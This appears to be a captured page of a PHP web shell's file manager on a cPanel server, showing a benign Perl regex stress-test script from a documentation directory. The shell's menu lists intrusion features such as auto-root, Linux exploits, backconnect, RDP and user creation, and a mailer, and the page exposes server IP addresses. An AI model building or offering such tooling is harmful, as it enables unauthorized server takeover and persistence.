Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.130.226
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libregexp-assemble-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
hostmatch
[ DIR ]
drwxr-xr-x
assemble.gz
2.17
KB
-rw-r--r--
debugging
2.82
KB
-rwxr-xr-x
failure.01.pl
1.56
KB
-rw-r--r--
fee
286
B
-rwxr-xr-x
file.1
20
B
-rw-r--r--
file.2
21
B
-rw-r--r--
file.3
16
B
-rw-r--r--
file.4
19
B
-rw-r--r--
ircwatcher
1.15
KB
-rwxr-xr-x
naive
1.43
KB
-rwxr-xr-x
roman
612
B
-rwxr-xr-x
stress-test.pl
2.74
KB
-rwxr-xr-x
tld
610
B
-rwxr-xr-x
track-5.10
310
B
-rwxr-xr-x
unquotemeta
394
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : stress-test.pl
#!/usr/bin/perl -w use strict; use lib 'blib/lib'; use Regexp::Assemble; use Data::PowerSet; use Algorithm::Combinatorics 'combinations'; my $end = shift || 'e'; # generate the power set of the elements 'a' .. $end my $set = [sort {join('' => @$a) cmp join('' => @$b)} @{Data::PowerSet::powerset( {min=>1}, 'a'..$end )} ]; $| = 1; print "## size of powerset = ", scalar(@$set), "\n"; my $nr = 0; for my $sel (@ARGV) { my $p = combinations($set,$sel); while (defined(my $s = $p->next)) { ++$nr; my $short = Regexp::Assemble->new; $short->insert(@$_) for @$s; my $long = Regexp::Assemble->new; $long->insert('^', @$_, '$') for @$s; my $sh = $short->as_string; my $lg = $long->as_string; $s = [map {join '' => @$_} @$s]; printf "%9d %2d %s $lg\n", $nr, $sel, "@$s" unless $nr % 10000; my %expected = map{($_,$_)} @$s; if( "^$sh\$" ne $lg ) { $lg =~ s/^\^//; $lg =~ s/\$$//; for my $t ( @$s) { if( $expected{$t} ) { next if $t =~ /$long/; printf "%5d %-50s %s\n", $nr, $lg, "@$s"; print "l: $t should have been matched\n"; last; } else { next if $t !~ /$long/; printf "%5d %-50s %s\n", $nr, $lg, "@$s"; print "l: $t should not have been matched\n"; last; } } my $short_str = '^' . $sh . '$'; my $short_re = qr/$short_str/; for my $t ( @$s) { if( $expected{$t} ) { next if $t =~ /$short_re/; printf "%5d %-50s %s\n", $nr, $sh, "@$s"; print "s: $t should have been matched\n"; last; } else { next if $t !~ /$short_re/; printf "%5d %-50s %s\n", $nr, $sh, "@$s"; print "s: $t should not have been matched\n"; last; } } } else { for my $t ( @$s) { if( $expected{$t} ) { next if $t =~ /$long/; printf "%5d %-50s %s\n", $nr, $lg, "@$s"; print "$t should have been matched\n"; last; } else { next if $t !~ /$long/; printf "%5d %-50s %s\n", $nr, $sh, "@$s"; print "$t should not have been matched\n"; last; } } } } print "# $sel $nr\n"; } print "$nr combinations examined\n";
Close